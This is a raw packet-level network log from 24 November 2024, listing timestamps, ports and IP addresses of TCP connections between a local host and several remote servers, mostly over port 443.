Nov 24, 2024 08:44:15.561312914 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.561863899 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.561871052 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.817092896 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.833082914 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.869730949 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.885348082 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.906239033 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.906272888 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.906980038 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.906986952 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.907747984 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.907774925 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.908412933 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:15.908420086 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.018538952 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.018570900 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.018625975 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.018635035 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.018670082 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.124985933 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.125020981 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.125040054 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.125046015 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.170804977 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.211406946 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.213506937 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.260375023 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.262610912 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.262684107 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.262744904 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.276573896 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.276654005 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.276715040 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.592499018 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.592536926 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.592566967 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.592573881 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.652514935 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.652569056 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.652590990 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.652599096 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.655878067 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.655910015 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.656346083 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.656352043 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.658276081 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.658303022 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.658716917 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.658725977 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.993988037 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.994013071 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.994067907 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.994091988 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.996186018 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.996231079 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.998713970 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.998739958 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.998785019 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:16.998802900 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:16.998837948 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.003494024 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.003551960 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.003593922 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.138489008 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.138516903 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.138535023 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.138541937 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.138657093 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.138688087 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.138701916 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.138708115 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.145276070 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.145297050 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.145368099 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.323826075 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.323869944 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.323930025 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.324017048 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.324048042 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.325579882 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.325622082 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.325673103 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.325936079 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.325946093 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.431938887 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.431978941 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.432009935 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.432040930 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.432044029 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.432097912 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.432195902 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.432219982 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.432280064 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.432292938 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:17.445281029 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:17.445359945 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:18.855607986 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:18.856343985 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:18.856378078 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:18.857212067 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:18.857218027 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.104212999 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.150326967 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.225745916 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.277726889 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.278131962 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.292278051 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.292300940 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.292589903 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.292608023 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.296752930 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.296936989 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.310059071 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.313200951 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.313216925 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.314570904 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.314575911 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.315222025 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.315244913 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.315690041 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.315699100 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.315968990 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.315988064 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.315999031 CET	49808	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.316004992 CET	443	49808	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.317349911 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.317356110 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.317744970 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.317749023 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.317892075 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.317913055 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.318262100 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.318267107 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.320812941 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.320851088 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.321011066 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.321203947 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.321212053 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.640788078 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.643342018 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.643398046 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.646855116 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.646873951 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.646884918 CET	49806	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.646889925 CET	443	49806	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.651168108 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.651227951 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.651304960 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.651592016 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.651612043 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.669872046 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.673340082 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.673402071 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.692534924 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.692574978 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.692580938 CET	49810	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.692590952 CET	443	49810	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.706644058 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.706676960 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.706906080 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.712718010 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.712727070 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.731712103 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.733438015 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.735048056 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.735105991 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.736444950 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.736496925 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.742047071 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.742065907 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.742077112 CET	49807	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.742084026 CET	443	49807	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.745300055 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.745316982 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.745330095 CET	49809	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.745335102 CET	443	49809	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.760898113 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.760941029 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.761013985 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.766917944 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.766953945 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.767014027 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.768156052 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.768176079 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:19.772321939 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:19.772349119 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:20.919009924 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:20.919053078 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:20.919167995 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:20.919385910 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:20.919398069 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:21.113116980 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.114365101 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.114387035 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.114483118 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.114487886 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.431725979 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.439207077 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.440104961 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.440135002 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.441049099 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.441056967 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.441648960 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.441673040 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.442397118 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.442401886 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.487694979 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.487704992 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.488260984 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.488286018 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.489372969 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.489378929 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.489953995 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.489974022 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.491904020 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.491914988 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.557631969 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.560673952 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.560724020 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.566780090 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.566796064 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.566839933 CET	49817	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.566844940 CET	443	49817	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.573960066 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.574002028 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.574067116 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.584683895 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.584700108 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.866194963 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.869149923 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.870809078 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.882477045 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.886056900 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.886861086 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.922760010 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.922827005 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.925947905 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.926088095 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.926172018 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.926737070 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.961853981 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.961888075 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.961899042 CET	49819	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.961905956 CET	443	49819	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.963119030 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.963154078 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.963167906 CET	49820	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.963176012 CET	443	49820	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.964634895 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.964634895 CET	49818	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.964663982 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.964674950 CET	443	49818	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.966240883 CET	49821	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.966268063 CET	443	49821	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.993252039 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.993259907 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.993318081 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.998303890 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:21.998332977 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:21.998464108 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.000534058 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.000545979 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:22.001478910 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.001494884 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:22.001612902 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.001631975 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:22.001642942 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.001703024 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.001759052 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.001766920 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:22.003021955 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.003047943 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:22.003515959 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:22.003540039 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:22.270593882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:22.465744972 CET	49672	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:22.490267038 CET	49832	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:22.490315914 CET	443	49832	173.222.162.55	192.168.2.10
Nov 24, 2024 08:44:22.490446091 CET	49832	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:22.491086960 CET	49832	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:22.491111040 CET	443	49832	173.222.162.55	192.168.2.10
Nov 24, 2024 08:44:22.716229916 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:22.738086939 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:22.738111973 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:22.742405891 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:22.742527962 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:22.743681908 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:22.743743896 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:22.797075987 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:22.797099113 CET	443	49824	142.250.181.68	192.168.2.10
Nov 24, 2024 08:44:22.839798927 CET	49672	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:22.904434919 CET	49824	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:44:23.305121899 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.305774927 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.305808067 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.306349993 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.306355953 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.517431974 CET	49672	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:23.722538948 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.723434925 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.723469019 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.723944902 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.723962069 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.738598108 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.742458105 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.742780924 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.748166084 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.748178959 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.748189926 CET	49825	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.748194933 CET	443	49825	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.751952887 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.751979113 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.752165079 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.752332926 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.752341986 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.781018972 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.782242060 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.782270908 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.782943964 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.782948017 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.783200026 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.783562899 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.783591032 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.783951998 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.783957005 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.852615118 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.853226900 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.853256941 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.853724957 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:23.853729963 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:23.878993034 CET	443	49832	173.222.162.55	192.168.2.10
Nov 24, 2024 08:44:23.879079103 CET	49832	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:24.163645983 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.166654110 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.166699886 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.166716099 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.166790009 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.167156935 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.167172909 CET	443	49831	13.107.246.63	192.168.2.10
